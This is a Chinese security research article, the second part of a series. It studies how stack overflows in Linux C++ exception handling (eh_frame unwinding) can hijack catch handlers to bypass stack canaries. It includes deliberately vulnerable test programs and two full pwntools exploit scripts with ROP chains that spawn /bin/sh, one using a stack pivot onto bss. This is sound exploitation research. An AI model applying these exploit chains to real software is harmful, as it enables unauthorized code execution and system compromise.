本文针对的是Linux下的C++对应的异常处理,也就是对基于eh_frame进行unwind的异常处理流程的攻击手法的研究。由于异常处理的流程和底层实现在不同操作系统和语言上有一定差距,需具体问题具体对待。上篇文章同发布于先知社区:溢出漏洞在异常处理中的攻击利用手法-上 - 先知社区
本篇将在上一篇的基础上,讨论研究chop的更多可能利用手法
同样使用上一篇的增加了的代码。为了方便测试使用三个参数,关于参数将在下文介绍。backdoor catch handler
-no-pie -static -fomit-frame-pointer
-fomit-frame-pointer
#include
#include
#include
class x {
public:
char buf[0x10];
x(void) {
printf("x:x() called\n");
}
~x(void) {
printf("x:~x() called\n");
}
};
void test() {
x a;
int cnt = 0x100;
size_t len = read(0,a.buf,cnt);
if(len > 0x10) {
throw "Buffer overflow";
}
}
void backdoor()
{
try{
printf("Here is backdoor!");
}
catch(const char* s) {
printf("backdoor catch: %s\n", s);
}
}
int main()
{
try {
test();
throw 1;
}
catch(int x) {
printf("Int: %d\n", x);
}
catch(const char* s) {
printf("String: %s\n", s);
}
return 0;
}
在上篇中,我们已知可以通过覆盖ret来进行不同的的调用,从而控制程序流,如下图catch handler
在开始之前,我们需要补充两点前提:
在某些情况下,程序为了提高一定的性能或者节省寄存器空间,可以不依靠来存储栈帧,而是仅通过增减特定栈大小来调整栈位置。此时,在编译时需要用的gcc/g++的一个参数。rbp
rsp
-fomit-frame-pointer
另外这里补充一个关于Canary这中缓解措施的一个特性:Cananry以及__stack_chk_fail()
并不是在所有栈帧所有函数中均包含的,而是只放置在可能出现栈溢出的地方
-fomit-frame-pointer
Omit the frame pointer in functions that don't need one. This avoids the instructions to save, set up and restore the frame pointer; on many targets it also makes an extra register available.
在清晰上述两点后,我们先用上篇的操作,将程序流劫持到函数的catch块中,并观察返回地址backdoor
这里ret将调用,栈地址为,而我们输入payload的地址为。另外,由于Canary的特性,在这个里并没有Canary也不会进行检测。这意味着我们可以继续溢出,从而劫持的返回地址。__libc_start_call_main
0x7ffd22bc5ef8
0x7ffd22bc5eb0
handler
catch handler
此时,解决有canary的异常处理溢出问题就变为了非常简单的传统的无canary栈溢出问题,此时直接结合传统的onegadget,ROP等等利用方式即可。
但是这里还是存在一个问题,上述利用手法中,我们潜藏了一个条件就是溢出点的地址一定比catch handler拥有的栈地址低,这是一定呢,还是巧合呢?
考虑到异常处理的流程,其中一个核心部分叫做栈展开,或者说栈回退。意味着找到的catch handler对应的ret位置一定比输入点的栈地址高,所以绝大多数情况都是适用的。
这里我们将payload增长,使其能够覆盖的ret的地址,并尝试让其调用,测试payload如下handler
backdoor()
payload = b'a'*0x28
payload += p64(backdoor_try+1)
payload += b'b'*0x18
payload += p64(0x401B46) # address of backdoor
效果如图,发现可以的确可以劫持ret地址为backdoor()
更进一步,我们尝试用rop调用来getshell.这里由于没有找到的字符串,可以自己调用read读一个到已知地址去,最终成功getshellsys_execve("/bin/sh",0,0)
/bin/sh
本身测试代码比较简单,这里的exp只作为研究参考
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
io = process('./pwn')
def p():
gdb.attach(proc.pidof(io)[0],'b *0x401b6e')
backdoor_try = 0x401B55
io.recvuntil("called")
pop_rdi = 0x000000000040291c #: pop rdi ; ret
pop_rsi = 0x0000000000404009 #: pop rsi ; ret
pop_rdx_rbx = 0x000000000049775b #: pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000462f37 #: pop rax ; ret
syscall = 0x000000000040fac9 #: syscall
read_addr = 0x4624D0
binsh = 0x4d7000 #
payload = b'a'*0x28
payload += p64(backdoor_try+1)
payload += b'b'*0x18
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(binsh)
payload += p64(pop_rdx_rbx)
payload += p64(0x8)
payload += p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(syscall)
io.send(payload)
sleep(1)
io.sendline('/bin/sh\x00')
io.interactive()
我们看到了在不使用rbp作为栈帧寄存器的情况下,可以利用异常处理的特性,使得canary防护无效化,大幅降低漏洞利用难度,配合传统栈溢出手法即可。几个关键点如下:
__stack_chk_fail()
onegadget
前面说到要转化为传统直接的栈上ROP似乎有一个必要的前提:不能使用rbp作为栈帧寄存器!这种情况不能说没有,但毕竟比较少见。接下来,我们提升一下难度,不使用参数进行编译,在这种情况下继续分析如何进一步利用。-fomit-frame-pointer
为了方便测试,略微更改了一下代码,去除了,增添了全局变量backdoor()
name
#include
#include
#include
char name[0x10];
class x {
public:
char buf[0x10];
x(void) {
printf("x:x() called\n");
}
~x(void) {
printf("x:~x() called\n");
}
};
void test() {
x a;
int cnt = 0x100;
size_t len = read(0,a.buf,cnt);
if(len > 0x10) {
throw "Buffer overflow";
}
}
int main()
{
try {
puts("Hello, your name?");
printf(">>");
read(0,name,0x10);
name[15] = '\0';
test();
}
catch(const char* s) {
printf("String: %s\n", s);
}
return 0;
}
回想我们在上篇提到的覆盖rbp的来劫持手法,我提到其形式与传统的栈转移相当类似,可以劫持流到的地址去。在上一篇我也用类似的方式将rbp改为got中的一段地址使其成功调用puts函数,如图:[rbp+8]
进一步考虑在本例中,我们已经拥有修改全局变量的能力(或者在一些堆题目中,我们可以做到任意地址写),那么我们可以利用类似栈转移的思想,直接在bss上放置或者构造ROPonegadget
由于name的长度受限,ROP相对更有难度一些,大致利用思路如下:
/bin/sh
rop
下面将详细说明每一步的内容
首先用name来伪造一个栈底部,然后覆盖rbp为bss段的变量地址,payload 构造如下name
name_addr = 0x4D93D0 #变量name的地址,保证二次溢出时的栈帧仍在bss上
test_addr = 0x401a75 #test函数的地址,再次调用read溢出
io.recvuntil("name?")
payload = p64(name_addr) + p64(test_addr)
io.send(payload)
io.recvuntil("called")
payload = b'a'*0x30
payload += p64(name_addr)
io.send(payload)
可以注意到在结束时,由于我们在bss上留下,ret将再次进入catch handler
[name_addr+8]==test_addr
test()
并且由于此时栈帧已经被转移到了bss上,图中的栈帧和rsi可见,将在bss上做栈溢出read()
这一步是整个流程中最麻烦的一步,如果真的通过再次使用异常处理的话,去触发ROP要考虑到以下几个方面:
/bin/sh
main()
catch handler
要同时满足上述几个条件的难度较大,且成功率较低,因而这里我们可以换种思路。
既然bp此时是可控的,那完全可以直接劫持函数自身的返回地址来触发rop,这样成功率更高。众所周知,在时,函数返回地址会push进入当前栈, 也就是。而read第二个参数rsi又是依靠寻址,那么只需要让rbp和rsp直接空隙足够小,就可以调用时覆盖对应栈帧的返回地址。read
call read
[rsp-8]
[rbp-0x3c]
sys_read()
read()
为了完成这个目的,就要将函数里最开始的栈帧控制区域跳过,然后让rbp与rsp足够近即可。这里我将地址直接换成了read函数前test
那么第二轮的payload我们只需要考虑两部分内容即可
/bin/sh
第二次溢出payload构造如下:
payload = b'/bin/sh\x00'
payload += p64(0)*6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)
可以看到在调用返回时,地址变为了刚刚读入的ROP链,最终成功getshell.read()
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
io = process('./ehframe4')
def p():
gdb.attach(proc.pidof(io)[0],'b read')
p()
name_addr = 0x4D93D0
test_addr = 0x401a9d
io.recvuntil("name?")
payload = p64(name_addr) + p64(test_addr)
io.send(payload)
io.recvuntil("called")
payload = b'a'*0x30
payload += p64(name_addr)
io.send(payload)
pop_rdi = 0x000000000040286c #: pop rdi ; ret
pop_rdx_rbx = 0x000000000049769b #: pop rdx ; pop rbx ; ret
pop_rsi = 0x0000000000403f59 #: pop rsi ; ret
pop_rax = 0x0000000000462e77 #: pop rax ; ret
syscall = 0x0000000000401bcd #: syscall
binsh = 0x4d93a0
main = 0x401B8C
io.recvuntil("called")
payload = b'/bin/sh\x00'
payload += p64(0)*6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)
io.send(payload)
io.interactive()
经过上下两篇我们主要分析了在异常处理中,针对溢出漏洞的手法。通过混淆unwinder,我们可以实现以下效果:
catch handler
catch handler
还有一些理论可行的方案,作者并没有测试成功。比如在中,经常会有一些对象的析构函数,但是往往不会将指针置空,可以尝试用这些来构造UAF;另外并不会中断unwind的流程,一般会调用来继续流程,可以尝试用一些合适的来构造某种执行链条(有点类似ROP的基本思想)。clean up
clean up
clean up
_Unwind_Resume()
clean up